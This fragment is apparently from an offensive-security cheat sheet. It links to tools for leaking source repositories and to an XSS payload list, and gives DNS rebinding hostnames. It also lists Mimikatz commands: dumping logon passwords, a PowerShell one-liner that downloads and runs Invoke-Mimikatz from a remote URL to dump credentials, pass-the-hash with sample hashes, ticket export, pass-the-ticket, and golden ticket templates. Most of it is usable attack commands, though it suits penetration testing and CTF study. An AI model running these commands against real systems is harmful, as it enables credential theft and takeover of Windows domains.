https://github.com/denny0223/scrabble
https://github.com/lijiejie/ds_store_exp
https://github.com/kost/dvcs-ripper
unicode converter
PHP混淆 / 加密
https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt
DNSLog
DNS rebinding
# butit still works
A.192.168.1.1.forever.rebind.network
#alternate between localhost and 10.0.0.1 forever
A.127.0.0.1.1time.10.0.0.1.1time.repeat.rebind.network
#first respond with 192.168.1.1 then 192.168.1.2. Now respond 192.168.1.3forever.
A.192.168.1.1.1time.192.168.1.2.2times.192.168.1.3.forever.rebind.network
#respond with 52.23.194.42 the first time, then whatever `whonow--default-address`
# isset to forever after that (default: 127.0.0.1)
A.52.23.194.42.1time.rebind.network
36573657.7f000001.rbndr.us
https://r12a.github.io/apps/encodings/
Mimikatz
mimikatz.exe privilege::debug sekurlsa::logonpasswords full exit >> log.txt
powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"
sekurlsa::pth /user:Administrator /domain:kaibro.local /ntlm:cc36cf7a8514893efccd332446158b1a
sekurlsa::pth /user:Administrator /domain:kaibro.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
sekurlsa::pth /user:Administrator /domain:kaibro.local /ntlm:cc36cf7a8514893efccd332446158b1a /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
kerberos::tgt
(Displays informations about the TGT of the current session)sekurlsa::tickets /export
kerberos::ptt [email protected]
kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
kerberos::purge
(Purges all tickets of the current session)WASM
Welcome to open Pull Request
OR